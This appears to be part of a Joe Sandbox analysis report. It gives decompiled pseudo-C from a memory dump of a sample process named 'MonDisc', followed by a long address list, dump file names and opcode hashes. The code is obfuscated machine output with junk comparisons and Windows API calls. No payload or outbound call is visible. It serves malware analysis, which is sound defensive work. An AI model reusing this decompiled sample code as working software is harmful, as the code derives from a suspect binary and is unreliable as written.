				if (_t885 >= 0) goto 0xed0f5bea;
				_t886 = ((_t469 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t886 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t475 = E00007FF67FF6ED184484(_t919);
				if (_t886 >= 0) goto 0xed0f5c0f;
				if (((_t475 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t919);
				goto 0xed0f5c5d;
				_t481 = E00007FF67FF6ED184484(_t919);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t889 = ((_t481 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t889 != 0) goto 0xed0f5c58;
				_t486 = E00007FF67FF6ED184484(_t919);
				if (_t889 >= 0) goto 0xed0f5c4a;
				_t890 = ((_t486 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t890 == 0x00000000;
				_t491 = E00007FF67FF6ED184484(_t919);
				if (_t890 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t491 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t892 = dil - 0x38;
				if (_t892 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t919);
				if (_t892 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t892 >= 0x00000000;
				_t64 = _t938 + 1; // 0x1
				r8d = _t64;
				E00007FF67FF6ED0FCE80(_t805, _t923, _a8, _t938);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t923, _a8,  *((intOrPtr*)(_t931 + _t923 * 8)));
				r8d =  ~_t796;
				E00007FF67FF6ED0FE000(r12d, _t919, _t923, _a8, _t938);
				if (_t923 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t919);
				goto 0xed0f5d42;
				_t895 = dil - 0x2c;
				if (_t895 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t510 = E00007FF67FF6ED184484(_t919);
				if (_t895 >= 0) goto 0xed0f5d4f;
				if (((_t510 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t898 = 0x63 + r12b - 0x65;
				if (_t898 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t919);
				if (_t898 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t526 = E00007FF67FF6ED184484(_t919);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t901 = ((_t526 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t901 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t919);
				if (_t901 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t901 != 0) goto 0xed0f5dad;
				if (_t901 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t903 = r15b - 0x2e;
				if (_t903 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t540 = E00007FF67FF6ED184484(_t919);
				if (_t903 >= 0) goto 0xed0f5e5a;
				_t904 = ((_t540 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t904 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t919);
				if (_t904 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t904 >= 0) goto 0xed0f5ec6;
				_t550 = E00007FF67FF6ED184484(_t919);
				if (_t904 >= 0) goto 0xed0f5e9b;
				_t905 = ((_t550 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t905 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t556 = E00007FF67FF6ED184484(_t919);
				if (_t905 >= 0) goto 0xed0f5eb8;
				_t906 = ((_t556 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t906 == 0x00000000;
				E00007FF67FF6ED184484(_t919);
				if (_t906 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t906 >= 0x00000000;
				 *0xed236f60 = 2;
				_t907 = 2 + r12b - 9;
				if (_t907 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t963);
				_pop(_t960);
				_pop(_t957);
				_pop(_t954);
				_pop(_t936);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t920 = _t947 - 0x30 + 0x30;
				 *((long long*)(_t920 + 8)) = _a16;
				 *((long long*)(_t920 + 0x10)) = _a24;
				 *((long long*)(_t920 + 0x18)) = _a32;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t920);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t907 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t907 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t963, _t960, _t957, _t954, _t936);
				E00007FF67FF6ED184484(_t920);
				if (_t907 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t907 >= 0x00000000;
				goto 0xed0f601c;
				_t583 = E00007FF67FF6ED184484(_t920);
				if (_t907 >= 0) goto 0xed0f5ff0;
				_t908 = ((_t583 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t908 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t588 = E00007FF67FF6ED184484(_t920);
				if (_t908 >= 0) goto 0xed0f600e;
				_t909 = ((_t588 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t909 == 0x00000000;
				 *0xed236f60 = r15d;
				_t593 = E00007FF67FF6ED184484(_t920);
				if (_t909 >= 0) goto 0xed0f6036;
				_t910 = ((_t593 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t910 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t920);
				if (_t910 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t910 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t920);
				if (_t910 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t910 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t610 = E00007FF67FF6ED184484(_t920);
				if (_t910 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t610 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t913 = 0x2e + r15b - 0x30;
				if (_t913 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t920);
				if (_t913 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t913 != 0) goto 0xed0f613f;
				if (_t913 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t625 = E00007FF67FF6ED184484(_t920);
				if (_t913 >= 0) goto 0xed0f616a;
				if (((_t625 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t915 = 0x34 + r15b - 0x41;
				if (_t915 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t920);
				if (_t915 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t915 != 0) goto 0xed0f619c;
				if (_t915 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t805 | 0xb60f0014;
			}

0x7ff6ed0f50e0
0x7ff6ed0f50e3
0x7ff6ed0f50e7
0x7ff6ed0f50eb
0x7ff6ed0f50f4
0x7ff6ed0f50f8
0x7ff6ed0f50fc
0x7ff6ed0f5101
0x7ff6ed0f510c
0x7ff6ed0f5112
0x7ff6ed0f5115
0x7ff6ed0f5123
0x7ff6ed0f512a
0x7ff6ed0f512d
0x7ff6ed0f5138
0x7ff6ed0f513e
0x7ff6ed0f5144
0x7ff6ed0f5147
0x7ff6ed0f514f
0x7ff6ed0f5158
0x7ff6ed0f5160
0x7ff6ed0f5169
0x7ff6ed0f5176
0x7ff6ed0f5179
0x7ff6ed0f5185
0x7ff6ed0f518c
0x7ff6ed0f518f
0x7ff6ed0f51a0
0x7ff6ed0f51a6
0x7ff6ed0f51b0
0x7ff6ed0f51b9
0x7ff6ed0f51bb
0x7ff6ed0f51c1
0x7ff6ed0f51cd
0x7ff6ed0f51d3
0x7ff6ed0f51d6
0x7ff6ed0f51d8
0x7ff6ed0f51df
0x7ff6ed0f51e5
0x7ff6ed0f51ed
0x7ff6ed0f51f6
0x7ff6ed0f51fa
0x7ff6ed0f51fe
0x7ff6ed0f5202
0x7ff6ed0f5204
0x7ff6ed0f520a
0x7ff6ed0f5214
0x7ff6ed0f5222
0x7ff6ed0f5228
0x7ff6ed0f522b
0x7ff6ed0f522d
0x7ff6ed0f5233
0x7ff6ed0f523b
0x7ff6ed0f5244
0x7ff6ed0f5247
0x7ff6ed0f5249
0x7ff6ed0f5251
0x7ff6ed0f5262
0x7ff6ed0f5270
0x7ff6ed0f5276
0x7ff6ed0f5279
0x7ff6ed0f527b
0x7ff6ed0f5287
0x7ff6ed0f528f
0x7ff6ed0f5298
0x7ff6ed0f52a0
0x7ff6ed0f52b7
0x7ff6ed0f52bd
0x7ff6ed0f52c6
0x7ff6ed0f52c8
0x7ff6ed0f52ce
0x7ff6ed0f52d6
0x7ff6ed0f52e2
0x7ff6ed0f52e8
0x7ff6ed0f52eb
0x7ff6ed0f52ef
0x7ff6ed0f52f5
0x7ff6ed0f52fb
0x7ff6ed0f5301
0x7ff6ed0f5309
0x7ff6ed0f5315
0x7ff6ed0f5319
0x7ff6ed0f531e
0x7ff6ed0f5326
0x7ff6ed0f532c
0x7ff6ed0f5334
0x7ff6ed0f533d
0x7ff6ed0f5340
0x7ff6ed0f5342
0x7ff6ed0f534a
0x7ff6ed0f535b
0x7ff6ed0f5361
0x7ff6ed0f536a
0x7ff6ed0f5370
0x7ff6ed0f5373
0x7ff6ed0f5377
0x7ff6ed0f537d
0x7ff6ed0f538b
0x7ff6ed0f5391
0x7ff6ed0f5399
0x7ff6ed0f53a5
0x7ff6ed0f53a7
0x7ff6ed0f53aa
0x7ff6ed0f53ac
0x7ff6ed0f53b1
0x7ff6ed0f53b9
0x7ff6ed0f53c2
0x7ff6ed0f53c5
0x7ff6ed0f53c7
0x7ff6ed0f53d1
0x7ff6ed0f53d9
0x7ff6ed0f53ea
0x7ff6ed0f53f6
0x7ff6ed0f53ff
0x7ff6ed0f5405
0x7ff6ed0f5408
0x7ff6ed0f540e
0x7ff6ed0f5418
0x7ff6ed0f541c
0x7ff6ed0f5424
0x7ff6ed0f542a
0x7ff6ed0f5432
0x7ff6ed0f543c
0x7ff6ed0f5442
0x7ff6ed0f544a
0x7ff6ed0f544f
0x7ff6ed0f5457
0x7ff6ed0f545d
0x7ff6ed0f5465
0x7ff6ed0f546e
0x7ff6ed0f5471
0x7ff6ed0f5473
0x7ff6ed0f547b
0x7ff6ed0f5484
0x7ff6ed0f5487
0x7ff6ed0f548b
0x7ff6ed0f5491
0x7ff6ed0f5499
0x7ff6ed0f54aa
0x7ff6ed0f54b0
0x7ff6ed0f54b8
0x7ff6ed0f54c4
0x7ff6ed0f54ca
0x7ff6ed0f54cd
0x7ff6ed0f54d1
0x7ff6ed0f54d7
0x7ff6ed0f54dd
0x7ff6ed0f54e3
0x7ff6ed0f54eb
0x7ff6ed0f54f4
0x7ff6ed0f54f7
0x7ff6ed0f54f9
0x7ff6ed0f5501
0x7ff6ed0f550c
0x7ff6ed0f5512
0x7ff6ed0f5520
0x7ff6ed0f5526
0x7ff6ed0f552e
0x7ff6ed0f553a
0x7ff6ed0f553c
0x7ff6ed0f553f
0x7ff6ed0f5543
0x7ff6ed0f5549
0x7ff6ed0f5551
0x7ff6ed0f555a
0x7ff6ed0f555d
0x7ff6ed0f555f
0x7ff6ed0f5567
0x7ff6ed0f5578
0x7ff6ed0f557a
0x7ff6ed0f5582
0x7ff6ed0f558b
0x7ff6ed0f558e
0x7ff6ed0f5590
0x7ff6ed0f5598
0x7ff6ed0f55a1
0x7ff6ed0f55a9
0x7ff6ed0f55af
0x7ff6ed0f55b7
0x7ff6ed0f55c3
0x7ff6ed0f55c7
0x7ff6ed0f55cd
0x7ff6ed0f55d7
0x7ff6ed0f55dd
0x7ff6ed0f55e0
0x7ff6ed0f55e2
0x7ff6ed0f55ea
0x7ff6ed0f55fd
0x7ff6ed0f5605
0x7ff6ed0f5611
0x7ff6ed0f5617
0x7ff6ed0f561a
0x7ff6ed0f561c
0x7ff6ed0f5624
0x7ff6ed0f562d
0x7ff6ed0f5630
0x7ff6ed0f5635
0x7ff6ed0f563b
0x7ff6ed0f5641
0x7ff6ed0f5649
0x7ff6ed0f5652
0x7ff6ed0f5656
0x7ff6ed0f565a
0x7ff6ed0f5662
0x7ff6ed0f5664
0x7ff6ed0f5667
0x7ff6ed0f5669
0x7ff6ed0f5671
0x7ff6ed0f567a
0x7ff6ed0f567d
0x7ff6ed0f5681
0x7ff6ed0f568f
0x7ff6ed0f5694
0x7ff6ed0f5699
0x7ff6ed0f569e
0x7ff6ed0f56a3
0x7ff6ed0f56a8
0x7ff6ed0f56ad
0x7ff6ed0f56b1
0x7ff6ed0f56b3
0x7ff6ed0f56b5
0x7ff6ed0f56b6
0x7ff6ed0f56bb
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ab2c35bc1835618fcf29b720a6eab32f0ad87a6f8140d0d6bcf6deee52c6fc
Instruction ID: 0a5a86af7c7b7bdfaa9c055b53a153ad6ea377fb8c2d9e2a6405133f7275a53f
